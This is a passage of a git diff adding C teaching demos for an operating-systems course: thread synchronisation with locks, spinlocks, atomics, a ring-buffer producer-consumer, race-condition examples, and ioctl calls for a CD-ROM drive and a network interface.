NO_ACTION +}; + +/* list head (sentinel) */ +static struct int_list *head; + +#ifdef USE_MUTEX +static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; +#endif + +/* + * Each thread does NUM_ROUNDS random actions. + */ + +static void *thread_fn(void *arg) +{ + size_t i; + enum list_action action; + int item; + size_t size, pos; + + sleep(1); + + for (i = 0; i < NUM_ROUNDS; i++) { + /* Create random action. */ + action = rand() % NO_ACTION; + + switch (action) { + case ADD_ITEM: + item = rand() % MAX_ITEM; +#ifdef USE_MUTEX + pthread_mutex_lock(&mutex); +#endif + list_add_item(head, item); +#ifdef USE_MUTEX + pthread_mutex_unlock(&mutex); +#endif + break; + case ADD_ITEM_TAIL: + item = rand() % MAX_ITEM; +#ifdef USE_MUTEX + pthread_mutex_lock(&mutex); +#endif + list_add_item_tail(head, item); +#ifdef USE_MUTEX + pthread_mutex_unlock(&mutex); +#endif + break; + case INSERT_ITEM: + item = rand() % MAX_ITEM; + size = list_get_size(head); + pos = rand() % size; +#ifdef USE_MUTEX + pthread_mutex_lock(&mutex); +#endif + list_insert_item(head, pos, item); +#ifdef USE_MUTEX + pthread_mutex_unlock(&mutex); +#endif + break; + case REMOVE_ITEM: + size = list_get_size(head); + pos = rand() % size; +#ifdef USE_MUTEX + pthread_mutex_lock(&mutex); +#endif + list_remove_item(head, pos); +#ifdef USE_MUTEX + pthread_mutex_unlock(&mutex); +#endif + break; + case SEARCH_ITEM: + item = rand() % MAX_ITEM; +#ifdef USE_MUTEX + pthread_mutex_lock(&mutex); +#endif + (void) list_search_item(head, item); +#ifdef USE_MUTEX + pthread_mutex_unlock(&mutex); +#endif + break; + default: + break; + } + } + + return NULL; +} + +int main(void) +{ + pthread_t th[NUM_THREADS]; + size_t i; + int item; + int rc; + + head = malloc(sizeof(*head)); + DIE(head == NULL, "malloc"); + list_init_head(head); + + /* Initialize random seed. */ + srand(time(NULL)); + + /* Initialize list to 1024 items. */ + for (i = 0; i < 1024; i++) { + item = rand(); + list_add_item(head, item); + } + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_create(th + i, NULL, thread_fn, NULL); + DIE(rc != 0, "pthread_create"); + } + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_join(th[i], NULL); + DIE(rc != 0, "pthread_join"); + } + + return 0; +} diff --git a/courses/curs-09-demo/lock/Makefile b/courses/curs-09-demo/lock/Makefile new file mode 100644 index 00000000..59dc9e63 --- /dev/null +++ b/courses/curs-09-demo/lock/Makefile @@ -0,0 +1,30 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -fno-PIC -g +LDFLAGS = -no-pie +LDLIBS = -lpthread + +.PHONY: all clean + +all: lock lock_atomic lock_spin + +lock: lock.o + +lock.o: lock.c ../utils/utils.h + +lock_atomic: lock_atomic.o + +lock_atomic.o: lock.c ../utils/utils.h + $(CC) $(CPPFLAGS) -DUSE_ATOMIC $(CFLAGS) -c -o $@ $< + +lock_spin: lock_spin.o + $(CC) $(LDFLAGS) -static -o $@ $^ $(LDLIBS) + +lock_spin.o: lock.c ../utils/utils.h + $(CC) $(CPPFLAGS) -DUSE_SPINLOCK $(CFLAGS) -c -o $@ $< + +clean: + -rm -f *~ + -rm -f lock.o lock + -rm -f lock_atomic.o lock_atomic + -rm -f lock_spin.o lock_spin diff --git a/courses/curs-09-demo/lock/lock b/courses/curs-09-demo/lock/lock new file mode 100644 index 00000000..5b688ce8 Binary files /dev/null and b/courses/curs-09-demo/lock/lock differ diff --git a/courses/curs-09-demo/lock/lock.c b/courses/curs-09-demo/lock/lock.c new file mode 100644 index 00000000..19ae305a --- /dev/null +++ b/courses/curs-09-demo/lock/lock.c @@ -0,0 +1,100 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#ifdef USE_ATOMIC +#define my_lock() atomic_lock() +#define my_unlock() atomic_unlock() +#elif USE_SPINLOCK +#define my_lock() spin_lock() +#define my_unlock() spin_unlock() +#else +#define my_lock() simple_lock() +#define my_unlock() simple_unlock() +#endif + +static unsigned int glock = 0; + +static void atomic_lock(void) +{ + while (__sync_bool_compare_and_swap(&glock, 0, 1) == 0) + ; +} + +static void atomic_unlock(void) +{ + glock = 0; +} + +static pthread_spinlock_t spin; + +static void spin_lock(void) +{ + pthread_spin_lock(&spin); +} + +static void spin_unlock(void) +{ + pthread_spin_unlock(&spin); +} + +static void simple_lock(void) +{ + while (glock != 0) + ; + glock = 1; +} + +static void simple_unlock(void) +{ + glock = 0; +} + +#define NUM_ROUNDS 100000 +#define NUM_THREADS 10 + +static unsigned long sum = 0; + +static void *thread_func(void *arg) +{ + size_t v = (size_t) arg; + size_t i; + + for (i = 0; i < NUM_ROUNDS; i++) { + my_lock(); + sum += v; + my_unlock(); + } + + return NULL; +} + +int main(void) +{ + size_t i; + pthread_t th[NUM_THREADS]; + int rc; + + pthread_spin_init(&spin, 0); + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_create(&th[i], NULL, thread_func, (void *) i); + DIE(rc < 0, "pthread_create"); + } + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_join(th[i], NULL); + DIE(rc < 0, "pthread_join"); + } + + pthread_spin_destroy(&spin); + + printf("sum is: %lu\n", sum); + + return 0; +} diff --git a/courses/curs-09-demo/lock/lock_atomic b/courses/curs-09-demo/lock/lock_atomic new file mode 100644 index 00000000..ee665204 Binary files /dev/null and b/courses/curs-09-demo/lock/lock_atomic differ diff --git a/courses/curs-09-demo/lock/lock_spin b/courses/curs-09-demo/lock/lock_spin new file mode 100644 index 00000000..9dbce35e Binary files /dev/null and b/courses/curs-09-demo/lock/lock_spin differ diff --git a/courses/curs-09-demo/ring-buffer/.gitignore b/courses/curs-09-demo/ring-buffer/.gitignore new file mode 100644 index 00000000..6994e948 --- /dev/null +++ b/courses/curs-09-demo/ring-buffer/.gitignore @@ -0,0 +1 @@ +/producer_consumer diff --git a/courses/curs-09-demo/ring-buffer/Makefile b/courses/curs-09-demo/ring-buffer/Makefile new file mode 100644 index 00000000..79c42d60 --- /dev/null +++ b/courses/curs-09-demo/ring-buffer/Makefile @@ -0,0 +1,19 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -fno-PIC -g +LDFLAGS = -no-pie +LDLIBS = -lpthread + +.PHONY: all clean + +all: producer_consumer + +producer_consumer: producer_consumer.o ring_buffer.o + +producer_consumer.o: producer_consumer.c ../utils/utils.h + +ring_buffer.o: ring_buffer.c ../utils/utils.h + +clean: + -rm -f *~ + -rm -f ring_buffer.o producer_consumer.o producer_consumer diff --git a/courses/curs-09-demo/ring-buffer/README b/courses/curs-09-demo/ring-buffer/README new file mode 100644 index 00000000..9a86e163 --- /dev/null +++ b/courses/curs-09-demo/ring-buffer/README @@ -0,0 +1,3 @@ +Run make to compile. + +Run ./producer_consumer to use ring buffer in classical producer-consumer problem. diff --git a/courses/curs-09-demo/ring-buffer/producer_consumer.c b/courses/curs-09-demo/ring-buffer/producer_consumer.c new file mode 100644 index 00000000..d8d63139 --- /dev/null +++ b/courses/curs-09-demo/ring-buffer/producer_consumer.c @@ -0,0 +1,79 @@ +#include +#include +#include +#include +#include +#include + +#include "ring_buffer.h" +#include "utils.h" + +#define NUM_ROUNDS 10 +#define NUM_CONSUMERS 10 +#define NUM_PRODUCERS 10 + + +/* globally accessible ring buffer */ +static struct rbuf rbuf; + +static void *consume(void *arg) +{ + size_t idx = (size_t) arg; + size_t i; + size_t v; + + for (i = 0; i < NUM_ROUNDS; i++) { + rbuf_get(&rbuf, &v); + printf("Consumer %zu consumed item %zu\n", idx, v); + } + + return NULL; +} + +static void *produce(void *arg) +{ + size_t idx = (size_t) arg; + size_t i; + size_t v = idx; + + for (i = 0; i < NUM_ROUNDS; i++) { + rbuf_put(&rbuf, &v); + printf("Producer %zu produced item %zu\n", idx, v); + } + + return NULL; +} + +int main(void) +{ + size_t i; + pthread_t cth[NUM_CONSUMERS]; + pthread_t pth[NUM_PRODUCERS]; + int rc; + + /* Create ring buffer with capacity for 10 integers. */ + rc = rbuf_init(&rbuf, 10, sizeof(size_t)); + DIE(rc < 0, "rbuf_init"); + + for (i = 0; i < NUM_CONSUMERS; i++) { + rc = pthread_create(&cth[i], NULL, consume, (void *) i); + DIE(rc < 0, "pthread_create"); + } + for (i = 0; i < NUM_PRODUCERS; i++) { + rc = pthread_create(&pth[i], NULL, produce, (void *) i); + DIE(rc < 0, "pthread_create"); + } + + for (i = 0; i < NUM_CONSUMERS; i++) { + rc = pthread_join(cth[i], NULL); + DIE(rc < 0, "pthread_join"); + } + for (i = 0; i < NUM_PRODUCERS; i++) { + rc = pthread_join(pth[i], NULL); + DIE(rc < 0, "pthread_join"); + } + + rbuf_destroy(&rbuf); + + return 0; +} diff --git a/courses/curs-09-demo/ring-buffer/ring_buffer.c b/courses/curs-09-demo/ring-buffer/ring_buffer.c new file mode 100644 index 00000000..23b48ef7 --- /dev/null +++ b/courses/curs-09-demo/ring-buffer/ring_buffer.c @@ -0,0 +1,74 @@ +#include +#include +#include +#include + +#include "ring_buffer.h" +#include "utils.h" + +#define is_full(rbuf) \ + ((rbuf)->count == (rbuf)->capacity) + +#define is_empty(rbuf) \ + ((rbuf)->count == 0) + +#define ring_inc(v, size) \ + do { \ + (v) = ((v) + 1) % (size); \ + } while (0) + +int rbuf_init(struct rbuf *rbuf, size_t num_items, size_t item_size) +{ + rbuf->buffer = malloc(num_items * item_size); + if (rbuf->buffer == NULL) + return -1; + rbuf->read_index = 0; + rbuf->write_index = 0; + rbuf->item_size = item_size; + rbuf->capacity = num_items; + rbuf->count = 0; + + pthread_mutex_init(&rbuf->mutex, NULL); + pthread_cond_init(&rbuf->empty, NULL); + pthread_cond_init(&rbuf->full, NULL); + + return 0; +} + +void rbuf_destroy(struct rbuf *rbuf) +{ + free(rbuf->buffer); + pthread_mutex_destroy(&rbuf->mutex); + pthread_cond_destroy(&rbuf->empty); + pthread_cond_destroy(&rbuf->full); +} + +void rbuf_get(struct rbuf *rbuf, void *item) +{ + pthread_mutex_lock(&rbuf->mutex); + while (is_empty(rbuf)) { + puts("Found buffer empty. Waiting."); + pthread_cond_wait(&rbuf->empty, &rbuf->mutex); + puts("Buffer has items. Waking up."); + } + memcpy(item, rbuf->buffer + rbuf->read_index * rbuf->item_size, rbuf->item_size); + rbuf->count--; + ring_inc(rbuf->read_index, rbuf->capacity); + pthread_cond_signal(&rbuf->full); + pthread_mutex_unlock(&rbuf->mutex); +} + +void rbuf_put(struct rbuf *rbuf, void *item) +{ + pthread_mutex_lock(&rbuf->mutex); + while (is_full(rbuf)) { + puts("Found buffer full. Waiting."); + pthread_cond_wait(&rbuf->full, &rbuf->mutex); + puts("Buffer has room. Waking up."); + } + memcpy(rbuf->buffer + rbuf->write_index * rbuf->item_size, item, rbuf->item_size); + rbuf->count++; + ring_inc(rbuf->write_index, rbuf->capacity); + pthread_cond_signal(&rbuf->empty); + pthread_mutex_unlock(&rbuf->mutex); +} diff --git a/courses/curs-09-demo/ring-buffer/ring_buffer.h b/courses/curs-09-demo/ring-buffer/ring_buffer.h new file mode 100644 index 00000000..c90c274b --- /dev/null +++ b/courses/curs-09-demo/ring-buffer/ring_buffer.h @@ -0,0 +1,25 @@ +#ifndef RING_BUFFER_ +#define RING_BUFFER_ 1 + +#include + +/* ring buffer structure*/ +struct rbuf { + void *buffer; /* buffer storing items */ + size_t read_index; + size_t write_index; + size_t capacity; /* maximum number of items */ + size_t count; /* number of items in buffer */ + size_t item_size; + pthread_mutex_t mutex; + pthread_cond_t empty; + pthread_cond_t full; +}; + +/* ring buffer functions */ +int rbuf_init(struct rbuf *rbuf, size_t num_items, size_t item_size); +void rbuf_destroy(struct rbuf *rbuf); +void rbuf_get(struct rbuf *rbuf, void *item); +void rbuf_put(struct rbuf *rbuf, void *item); + +#endif diff --git a/courses/curs-09-demo/spinlock-mutex/.gitignore b/courses/curs-09-demo/spinlock-mutex/.gitignore new file mode 100644 index 00000000..27b78b9a --- /dev/null +++ b/courses/curs-09-demo/spinlock-mutex/.gitignore @@ -0,0 +1,2 @@ +/mutex +/spinlock diff --git a/courses/curs-09-demo/spinlock-mutex/Makefile b/courses/curs-09-demo/spinlock-mutex/Makefile new file mode 100644 index 00000000..2ab7b288 --- /dev/null +++ b/courses/curs-09-demo/spinlock-mutex/Makefile @@ -0,0 +1,21 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: spinlock mutex + +spinlock: spinlock.o + +spinlock.o: spinlock-mutex.c ../utils/utils.h + $(CC) $(CFLAGS) $(CPPFLAGS) -D USE_SPINLOCK -c -o $@ $< + +mutex: mutex.o + +mutex.o: spinlock-mutex.c ../utils/utils.h + $(CC) $(CFLAGS) $(CPPFLAGS) -c -o $@ $< + +clean: + -rm -f *.o *~ spinlock mutex diff --git a/courses/curs-09-demo/spinlock-mutex/spinlock-mutex.c b/courses/curs-09-demo/spinlock-mutex/spinlock-mutex.c new file mode 100644 index 00000000..d5e89ee1 --- /dev/null +++ b/courses/curs-09-demo/spinlock-mutex/spinlock-mutex.c @@ -0,0 +1,92 @@ +/** + * Mutex vs Spinlock + */ +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_THREADS 2 +#define NUM_ROUNDS 10000000 + + +#ifdef USE_SPINLOCK + pthread_spinlock_t lock; +#else + pthread_mutex_t lock; +#endif + +pthread_barrier_t barrier; +static int shared = 0; + + +static inline void acquire_lock() +{ +#ifdef USE_SPINLOCK + pthread_spin_lock(&lock); +#else + pthread_mutex_lock(&lock); +#endif +} + +static inline void release_lock() +{ +#ifdef USE_SPINLOCK + pthread_spin_unlock(&lock); +#else + pthread_mutex_unlock(&lock); +#endif +} + +void *thread_func(void *arg) +{ + size_t i; + + pthread_barrier_wait(&barrier); + + for (i = 0; i < NUM_ROUNDS; i++) + { + acquire_lock(); + shared++; + release_lock(); + } + return NULL; +} + +int main(void) +{ + pthread_t threads[NUM_THREADS]; + size_t i; + int rc; + +#ifdef USE_SPINLOCK + pthread_spin_init(&lock, PTHREAD_PROCESS_SHARED); +#else + pthread_mutex_init(&lock, NULL); +#endif + pthread_barrier_init(&barrier, NULL, NUM_THREADS); + + for (i = 0; i < NUM_THREADS; i++){ + rc = pthread_create(&threads[i], NULL, thread_func, &i); + DIE(rc == -1, "pthread_create"); + } + + for (i = 0; i < NUM_THREADS; i++){ + rc = pthread_join(threads[i], NULL); + DIE(rc == -1, "pthread_join"); + } + +#ifdef USE_SPINLOCK + printf("Spinlock version - shared = %d\n", shared); + pthread_spin_destroy(&lock); +#else + printf("Mutex version - shared = %d\n", shared); + pthread_mutex_destroy(&lock); +#endif + pthread_barrier_destroy(&barrier); + + return 0; +} diff --git a/courses/curs-09-demo/sum-threads-arm/Makefile b/courses/curs-09-demo/sum-threads-arm/Makefile new file mode 100644 index 00000000..b3f2049e --- /dev/null +++ b/courses/curs-09-demo/sum-threads-arm/Makefile @@ -0,0 +1,23 @@ +CC = arm-linux-gnueabi-gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -fno-PIC -g +LDFLAGS = -no-pie -static +LDLIBS = -lpthread + +.PHONY: all clean + +all: sum_threads sum_threads_atomic + +sum_threads: sum_threads.o + +sum_threads.o: sum_threads.c ../utils/utils.h + +sum_threads_atomic: sum_threads_atomic.o + +sum_threads_atomic.o: sum_threads.c ../utils/utils.h + $(CC) $(CPPFLAGS) -DUSE_ATOMIC $(CFLAGS) -c -o $@ $< + +clean: + -rm -f *~ + -rm -f sum_threads.o sum_threads + -rm -f sum_threads_atomic.o sum_threads_atomic diff --git a/courses/curs-09-demo/sum-threads-arm/sum_threads b/courses/curs-09-demo/sum-threads-arm/sum_threads new file mode 100644 index 00000000..1984a1ba Binary files /dev/null and b/courses/curs-09-demo/sum-threads-arm/sum_threads differ diff --git a/courses/curs-09-demo/sum-threads-arm/sum_threads.c b/courses/curs-09-demo/sum-threads-arm/sum_threads.c new file mode 100644 index 00000000..a9b5914d --- /dev/null +++ b/courses/curs-09-demo/sum-threads-arm/sum_threads.c @@ -0,0 +1,65 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#ifdef USE_ATOMIC +#define do_op(sum, v) \ + do { \ + __sync_fetch_and_add(&(sum), (v)); \ + } while(0) +#else +#define do_op(sum, v) \ + do { \ + sum = ((sum) + (v)); \ + } while(0) +#endif + +#define NUM_ROUNDS 100000 +#define NUM_THREADS 10 + +#ifdef USE_LONGLONG +static unsigned long long sum = 0; +#else +static unsigned long sum = 0; +#endif + +static void *thread_func(void *arg) +{ + size_t v = (size_t) arg; + size_t i; + + for (i = 0; i < NUM_ROUNDS; i++) + do_op(sum, v); + + return NULL; +} + +int main(void) +{ + size_t i; + pthread_t th[NUM_THREADS]; + int rc; + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_create(&th[i], NULL, thread_func, (void *) i); + DIE(rc < 0, "pthread_create"); + } + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_join(th[i], NULL); + DIE(rc < 0, "pthread_join"); + } + +#ifdef USE_LONGLONG + printf("sum is: %llu\n", sum); +#else + printf("sum is: %lu\n", sum); +#endif + + return 0; +} diff --git a/courses/curs-09-demo/sum-threads-arm/sum_threads_atomic b/courses/curs-09-demo/sum-threads-arm/sum_threads_atomic new file mode 100644 index 00000000..e8c8234b Binary files /dev/null and b/courses/curs-09-demo/sum-threads-arm/sum_threads_atomic differ diff --git a/courses/curs-09-demo/sum-threads/Makefile b/courses/curs-09-demo/sum-threads/Makefile new file mode 100644 index 00000000..75efb438 --- /dev/null +++ b/courses/curs-09-demo/sum-threads/Makefile @@ -0,0 +1,54 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -fno-PIC -g +LDFLAGS = -no-pie +LDLIBS = -lpthread + +.PHONY: all clean + +all: sum_threads sum_threads_atomic sum_threads_32 sum_threads_atomic_32 \ + sum_threads_32_longlong sum_threads_atomic_32_longlong + +sum_threads: sum_threads.o + $(CC) $(LDFLAGS) -o $@ $^ $(LDLIBS) + +sum_threads.o: sum_threads.c ../utils/utils.h + $(CC) $(CPPFLAGS) $(CFLAGS) -c -o $@ $< + +sum_threads_atomic: sum_threads_atomic.o + $(CC) $(LDFLAGS) -o $@ $^ $(LDLIBS) + +sum_threads_atomic.o: sum_threads.c ../utils/utils.h + $(CC) $(CPPFLAGS) -DUSE_ATOMIC $(CFLAGS) -c -o $@ $< + +sum_threads_32: sum_threads_32.o + $(CC) $(LDFLAGS) -m32 -o $@ $^ $(LDLIBS) + +sum_threads_32.o: sum_threads.c ../utils/utils.h + $(CC) $(CPPFLAGS) $(CFLAGS) -m32 -c -o $@ $< + +sum_threads_atomic_32: sum_threads_atomic_32.o + $(CC) $(LDFLAGS) -m32 -o $@ $^ $(LDLIBS) + +sum_threads_atomic_32.o: sum_threads.c ../utils/utils.h + $(CC) $(CPPFLAGS) -DUSE_ATOMIC $(CFLAGS) -m32 -c -o $@ $< + +sum_threads_32_longlong: sum_threads_32_longlong.o + $(CC) $(LDFLAGS) -m32 -o $@ $^ $(LDLIBS) + +sum_threads_32_longlong.o: sum_threads.c ../utils/utils.h + $(CC) $(CPPFLAGS) -DUSE_LONGLONG $(CFLAGS) -m32 -c -o $@ $< + +sum_threads_atomic_32_longlong: sum_threads_atomic_32_longlong.o + $(CC) $(LDFLAGS) -m32 -o $@ $^ $(LDLIBS) + +sum_threads_atomic_32_longlong.o: sum_threads.c ../utils/utils.h + $(CC) $(CPPFLAGS) -DUSE_ATOMIC -DUSE_LONGLONG $(CFLAGS) -m32 -c -o $@ $< +clean: + -rm -f *~ + -rm -f sum_threads.o sum_threads + -rm -f sum_threads_atomic.o sum_threads_atomic + -rm -f sum_threads_32.o sum_threads_32 + -rm -f sum_threads_atomic_32.o sum_threads_atomic_32 + -rm -f sum_threads_32_longlong.o sum_threads_32_longlong + -rm -f sum_threads_atomic_32_longlong.o sum_threads_atomic_32_longlong diff --git a/courses/curs-09-demo/sum-threads/sum_threads b/courses/curs-09-demo/sum-threads/sum_threads new file mode 100644 index 00000000..e956042a Binary files /dev/null and b/courses/curs-09-demo/sum-threads/sum_threads differ diff --git a/courses/curs-09-demo/sum-threads/sum_threads.c b/courses/curs-09-demo/sum-threads/sum_threads.c new file mode 100644 index 00000000..a9b5914d --- /dev/null +++ b/courses/curs-09-demo/sum-threads/sum_threads.c @@ -0,0 +1,65 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#ifdef USE_ATOMIC +#define do_op(sum, v) \ + do { \ + __sync_fetch_and_add(&(sum), (v)); \ + } while(0) +#else +#define do_op(sum, v) \ + do { \ + sum = ((sum) + (v)); \ + } while(0) +#endif + +#define NUM_ROUNDS 100000 +#define NUM_THREADS 10 + +#ifdef USE_LONGLONG +static unsigned long long sum = 0; +#else +static unsigned long sum = 0; +#endif + +static void *thread_func(void *arg) +{ + size_t v = (size_t) arg; + size_t i; + + for (i = 0; i < NUM_ROUNDS; i++) + do_op(sum, v); + + return NULL; +} + +int main(void) +{ + size_t i; + pthread_t th[NUM_THREADS]; + int rc; + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_create(&th[i], NULL, thread_func, (void *) i); + DIE(rc < 0, "pthread_create"); + } + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_join(th[i], NULL); + DIE(rc < 0, "pthread_join"); + } + +#ifdef USE_LONGLONG + printf("sum is: %llu\n", sum); +#else + printf("sum is: %lu\n", sum); +#endif + + return 0; +} diff --git a/courses/curs-09-demo/sum-threads/sum_threads_32 b/courses/curs-09-demo/sum-threads/sum_threads_32 new file mode 100644 index 00000000..f4216a2a Binary files /dev/null and b/courses/curs-09-demo/sum-threads/sum_threads_32 differ diff --git a/courses/curs-09-demo/sum-threads/sum_threads_32_longlong b/courses/curs-09-demo/sum-threads/sum_threads_32_longlong new file mode 100644 index 00000000..d8565dcf Binary files /dev/null and b/courses/curs-09-demo/sum-threads/sum_threads_32_longlong differ diff --git a/courses/curs-09-demo/sum-threads/sum_threads_atomic b/courses/curs-09-demo/sum-threads/sum_threads_atomic new file mode 100644 index 00000000..2374f5c3 Binary files /dev/null and b/courses/curs-09-demo/sum-threads/sum_threads_atomic differ diff --git a/courses/curs-09-demo/sum-threads/sum_threads_atomic_32 b/courses/curs-09-demo/sum-threads/sum_threads_atomic_32 new file mode 100644 index 00000000..ab5a4dcc Binary files /dev/null and b/courses/curs-09-demo/sum-threads/sum_threads_atomic_32 differ diff --git a/courses/curs-09-demo/sum-threads/sum_threads_atomic_32_longlong b/courses/curs-09-demo/sum-threads/sum_threads_atomic_32_longlong new file mode 100644 index 00000000..9a42fa14 Binary files /dev/null and b/courses/curs-09-demo/sum-threads/sum_threads_atomic_32_longlong differ diff --git a/courses/curs-09-demo/tocttou/.gitignore b/courses/curs-09-demo/tocttou/.gitignore new file mode 100644 index 00000000..97633f92 --- /dev/null +++ b/courses/curs-09-demo/tocttou/.gitignore @@ -0,0 +1 @@ +/tocttou diff --git a/courses/curs-09-demo/tocttou/Makefile b/courses/curs-09-demo/tocttou/Makefile new file mode 100644 index 00000000..7045c81a --- /dev/null +++ b/courses/curs-09-demo/tocttou/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: tocttou + +tocttou: tocttou.o + +tocttou.o: tocttou.c ../utils/utils.h + +clean: + -rm -f *.o *~ tocttou diff --git a/courses/curs-09-demo/tocttou/tocttou.c b/courses/curs-09-demo/tocttou/tocttou.c new file mode 100644 index 00000000..4dba8bdd --- /dev/null +++ b/courses/curs-09-demo/tocttou/tocttou.c @@ -0,0 +1,78 @@ +/** + * Time of check to time of use race condition + */ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_PRODUCERS 50 +#define NUM_CONSUMERS 10 +#define NUM_ITEMS_PRODUCER 1 +#define NUM_ITEMS_CONSUMER 5 +#define TS_50_MILLISECONDS {0, 50000000} + +static int num_items; + +static void *produce(void *arg) +{ + struct timespec ts = TS_50_MILLISECONDS; + + nanosleep(&ts, NULL); + num_items += NUM_ITEMS_PRODUCER; /* Produce. */ + + return NULL; +} + +static void *consume(void *arg) +{ + struct timespec ts = TS_50_MILLISECONDS; + + nanosleep(&ts, NULL); + if (num_items >= NUM_ITEMS_CONSUMER) { + nanosleep(&ts, NULL); /* Do other work. */ + num_items -= NUM_ITEMS_CONSUMER; /* Consume. */ + } + + return NULL; +} + +int main(void) +{ + pthread_t p_threads[NUM_PRODUCERS]; + pthread_t c_threads[NUM_CONSUMERS]; + size_t i; + int rc; + + for (i = 0; i < NUM_PRODUCERS; i++){ + rc = pthread_create(&p_threads[i], NULL, produce, NULL); + DIE(rc == -1, "pthread_create"); + } + printf("Created %d producers.\n", NUM_PRODUCERS); + puts("Each producer creates one item."); + + for (i = 0; i < NUM_CONSUMERS; i++){ + rc = pthread_create(&c_threads[i], NULL, consume, NULL); + DIE(rc == -1, "pthread_create"); + } + printf("Created %d consumers.\n", NUM_CONSUMERS); + puts("Each producer removes one item."); + + for (i = 0; i < NUM_PRODUCERS; i++){ + rc = pthread_join(p_threads[i], NULL); + DIE(rc == -1, "pthread_join"); + } + + for (i = 0; i < NUM_CONSUMERS; i++){ + rc = pthread_join(c_threads[i], NULL); + DIE(rc == -1, "pthread_join"); + } + + printf("Num items at the end: %d\n", num_items); + + return 0; +} diff --git a/courses/curs-09-demo/utils/utils.h b/courses/curs-09-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-09-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-10-demo/ioctl/.gitignore b/courses/curs-10-demo/ioctl/.gitignore new file mode 100644 index 00000000..de3d17e4 --- /dev/null +++ b/courses/curs-10-demo/ioctl/.gitignore @@ -0,0 +1,2 @@ +/cdrom-ioctl +/hwaddr-ioctl diff --git a/courses/curs-10-demo/ioctl/Makefile b/courses/curs-10-demo/ioctl/Makefile new file mode 100644 index 00000000..4e09b8c8 --- /dev/null +++ b/courses/curs-10-demo/ioctl/Makefile @@ -0,0 +1,18 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra + +.PHONY: all clean + +all: cdrom-ioctl hwaddr-ioctl + +cdrom-ioctl: cdrom-ioctl.o + +cdrom-ioctl.o: cdrom-ioctl.c ../utils/utils.h + +hwaddr-ioctl: hwaddr-ioctl.o + +hwaddr-ioctl.o: hwaddr-ioctl.c ../utils/utils.h + +clean: + -rm -f *.o *~ cdrom-ioctl hwaddr-ioctl diff --git a/courses/curs-10-demo/ioctl/cdrom-ioctl.c b/courses/curs-10-demo/ioctl/cdrom-ioctl.c new file mode 100644 index 00000000..16d70a45 --- /dev/null +++ b/courses/curs-10-demo/ioctl/cdrom-ioctl.c @@ -0,0 +1,85 @@ +/** + * Use ioctl calls on CD-ROM drive. + * + * Heavily inspired by eject source code: http://eject.sourceforge.net/ + * Documentation in Documentation/ioctl/cdrom.txt in Linux source code. + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define CDROM_DEV_PATH "/dev/sr0" + +static void usage(const char *argv0, const char *msg) +{ + fprintf(stderr, "%s\n\n", msg); + fprintf(stderr, "Usage: %s e|l|u\n", argv0); + fprintf(stderr, "\te - eject CD-ROM\n"); + fprintf(stderr, "\tl - lock CD-ROM drive\n"); + fprintf(stderr, "\tu - unlock CD-ROM drive\n"); +} + +static void eject_cdrom(int fd) +{ + int rc; + rc = ioctl(fd, CDROMEJECT); + DIE(rc < 0, "ioctl"); +} + +static void lock_cdrom(int fd) +{ + int rc; + rc = ioctl(fd, CDROM_LOCKDOOR, 1); + DIE(rc < 0, "ioctl"); +} + +static void unlock_cdrom(int fd) +{ + int rc; + rc = ioctl(fd, CDROM_LOCKDOOR, 0); + DIE(rc < 0, "ioctl"); +} + +int main(int argc, char **argv) +{ + int fd; + + if (argc != 2) { + usage(argv[0], "You must provide exactly one argument."); + exit(EXIT_FAILURE); + } + if (strlen(argv[1]) != 1) { + usage(argv[0], "Argument must be e or l or u."); + exit(EXIT_FAILURE); + } + + fd = open(CDROM_DEV_PATH, O_RDONLY | O_NONBLOCK); + DIE(fd < 0, "open"); + + switch (argv[1][0]) { + case 'e': + eject_cdrom(fd); + break; + case 'l': + lock_cdrom(fd); + break; + case 'u': + unlock_cdrom(fd); + break; + default: + usage(argv[0], "Argument must be e or l or u."); + exit(EXIT_FAILURE); + break; + } + + close(fd); + return 0; +} diff --git a/courses/curs-10-demo/ioctl/hwaddr-ioctl.c b/courses/curs-10-demo/ioctl/hwaddr-ioctl.c new file mode 100644 index 00000000..bb5a0e4d --- /dev/null +++ b/courses/curs-10-demo/ioctl/hwaddr-ioctl.c @@ -0,0 +1,43 @@ +/** + * Use ioctl to get MAC address of network interface. + * + * Some inspiration from Stack Overflow + * 